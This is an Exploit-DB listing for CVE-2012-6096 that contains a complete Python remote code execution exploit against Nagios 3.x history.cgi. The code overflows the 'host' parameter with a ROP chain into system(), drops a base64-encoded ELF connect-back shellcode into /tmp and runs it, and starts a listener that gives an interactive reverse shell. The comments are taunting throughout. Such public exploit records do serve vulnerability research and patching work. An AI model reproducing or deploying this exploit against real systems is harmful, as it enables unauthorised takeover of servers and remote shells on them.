Nagios history.cgi Remote Command Execution Vulnerability



EDB-ID: 24084 CVE: 2012-6096 OSVDB-ID: 88322
Author: blasty Published: 2013-01-13 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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#!/usr/bin/python
#
# CVE-2012-6096 - Nagios history.cgi Remote Command Execution
# ===========================================================
# Another year, another reincarnation of classic and trivial
# bugs to exploit. This time we attack Nagios.. or more 
# specifically, one of its CGI scripts. [1]
#
# The Nagios code is an amazing monster. It reminds me a
# lot of some of my early experiments in C, back when I 
# still had no clue what I was doing. (Ok, fair enough,
# I still don't, heheh.)
#
# Ok, I'll come clean. This exploit doesn't exactly
# defeat FORTIFY. This approach is likely to work just FINE 
# on other crippled distro's though, think of stuff like 
# ArchLinux, Slackware, and all those Gentoo kids twiddling 
# their CFLAGS. [2] (Oh and hey, BSD and stuff!)
#
# I do some very stupid shit(tm) here that might make an 
# exploit coder or two cringe. My sincere apologies for that.
#
# Cold beer goes out to my friends who are still practicing
# this dying but interesting type of art:
#
#   * brainsmoke * masc * iZsh * skier_ * steve *
#
# -- blasty <blasty@fail0verflow.com> / 2013-01-08
#
# References:
# [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109
# [2] http://www.funroll-loops.info/
#
# P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!
# Next time you rebrand an exploit at least show some diligence and
# add some additional targets or improvements, so we can all profit!
#
# P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!
#

import os, sys, socket, struct, urllib, threading, SocketServer, time
from base64 import b64encode

SocketServer.TCPServer.allow_reuse_address = True

targets = [
	{
		"name"	     : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)",
		"smash_len"  : 0xc37,
		"unescape"   : 0x0804b620,
		"popret"     : 0x08048fe4,
		"hostbuf"    : 0x080727a0,
		"system_plt" : 0x08048c7c
	}
]

def u32h(v):
	return struct.pack("<L", v).encode('hex')

def u32(v, hex = False):
	return struct.pack("<L", v)

# Tiny ELF stub based on:
# http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html 
def make_elf(sc):
	elf_head = \
		"7f454c46010101000000000000000000" + \
		"02000300010000005480040834000000" + \
		"00000000000000003400200001000000" + \
		"00000000010000000000000000800408" + \
		"00800408" + u32h(0x54+len(sc))*2  + \
		"0500000000100000"

	return elf_head.decode("hex") + sc

# interactive connectback listener
class connectback_shell(SocketServer.BaseRequestHandler):
	def handle(self):
		print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0]
		print "[**] This shell is powered by insane amounts of illegal substances"
 
		s = self.request
 
		import termios, tty, select, os
		old_settings = termios.tcgetattr(0)

		try:
			tty.setcbreak(0)
			c = True

			os.write(s.fileno(), "id\nuname -a\n")

			while c:
				for i in select.select([0, s.fileno()], [], [], 0)[0]:
					c = os.read(i, 1024)
					if c:
						if i == 0:
							os.write(1, c)
 
						os.write(s.fileno() if i == 0 else 1, c)
		except KeyboardInterrupt: pass
		finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
 
		return
 
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
	pass

if len(sys.argv) != 5:
	print "\n  >> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>"
	print "  >> \"Jetzt geht's Nagi-los!\"\n"
	print "  usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0])
	print "  targets:"

	i = 0

	for target in targets:
		print "	%02d) %s" % (i, target['name'])
		i = i+1
 
	print ""
	sys.exit(-1)

target_no = int(sys.argv[4])

if target_no < 0 or target_no > len(targets):
	print "Invalid target specified"
	sys.exit(-1)

target = targets[ int(sys.argv[4]) ]

# comment this shit if you want to setup your own listener
server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

# shellcode to be executed
# vanilla x86/linux connectback written by a dutch gentleman
# close to a decade ago.
cback = \
	"31c031db31c951b10651b10151b10251" + \
	"89e1b301b066cd8089c231c031c95151" + \
	"68badc0ded6668b0efb102665189e7b3" + \
	"1053575289e1b303b066cd8031c939c1" + \
	"740631c0b001cd8031c0b03f89d3cd80" + \
	"31c0b03f89d3b101cd8031c0b03f89d3" + \
	"b102cd8031c031d250686e2f7368682f" + \
	"2f626989e3505389e1b00bcd8031c0b0" + \
	"01cd80"

cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex"))
cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex")) 

# Eww.. so there's some characters that dont survive the trip..
# yes, even with the unescape() call in our return-chain..
# initially I was going to use some /dev/tcp based connectback..
# but /dev/tcp isn't available/accesible everywhere, so instead
# we drop an ELF into /tmp and execute that. The '>' characters
# also doesn't survive the trip so we work around this by using
# the tee(1) utility.
# If your target has a /tmp that is mounted with noexec flag,
# is severely firewalled or guarded by trained (watch)dogs..
# you might want to reconsider this approach!
cmd  = \
	"rm -rf /tmp/x;" + \
	"echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \
	"base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;"

# Spaces (0x20) are also a problem, they always ends up as '+' :-(
# so apply some olde trick and rely on $IFS for argv separation
cmd = cmd.replace(" ", "${IFS}")

# Basic return-2-whatever/ROP chain.
# We return into cgi_input_unescape() to get rid of
# URL escaping in a static buffer we control, and then
# we return into system@plt for the moneyshot.
#
# Ergo sum:
# There's no memoryleak or whatever needed to leak libc
# base and bypass ASLR.. This entire Nagios PoS is stringed
# together by system() calls, so pretty much every single one 
# of their little silly binaries comes with a PLT entry for
# system(), huzzah!
rop = [
	u32(target['unescape']),
	u32(target['popret']),
	u32(target['hostbuf']),
	u32(target['system_plt']),
	u32(0xdeafbabe),
	u32(target['hostbuf'])
]

# Yes.. urllib, so it supports HTTPS, basic-auth and whatnot
# out of the box. Building HTTP requests from scratch is so 90ies..
params = urllib.urlencode({
	'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop)
})

print "[>>] CL1Q .."
f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params)

print "[>>] CL4Q .."
f.read()

# TRIAL PERIOD ACTIVE, LOL!
time.sleep(0x666)

server.shutdown()